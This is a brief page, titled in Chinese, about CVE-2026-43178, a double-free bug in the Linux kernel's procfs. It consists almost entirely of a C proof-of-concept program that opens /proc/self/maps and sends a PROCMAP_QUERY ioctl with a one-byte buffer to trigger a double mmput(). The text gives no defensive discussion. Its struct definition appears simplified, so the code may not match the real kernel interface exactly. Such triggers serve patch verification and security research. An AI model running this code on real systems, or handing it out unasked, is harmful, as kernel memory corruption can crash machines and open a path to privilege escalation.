CVE-2026-43178 Linux内核procfs双重释放漏洞

/* * PoC for CVE-2026-43178 * Triggering double mmput() via undersized buffer in PROCMAP_QUERY */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #ifndef PROCMAP_QUERY #define PROCMAP_QUERY _IOWR('p', 1, struct procmap_query) #endif struct procmap_query { __u64 addr; __u32 buffer_size; __u32 flags; __u64 build_id_addr; }; int main() { int fd = open("/proc/self/maps", O_RDONLY); if (fd < 0) { perror("open /proc/self/maps"); return 1; } struct procmap_query q = {0}; // Set buffer_size to be too small to trigger -ENAMETOOLONG q.buffer_size = 1; // The ioctl triggers the vulnerability path if (ioctl(fd, PROCMAP_QUERY, &q) < 0) { perror("ioctl failed (expected error, but vulnerability triggered)"); } close(fd); return 0; }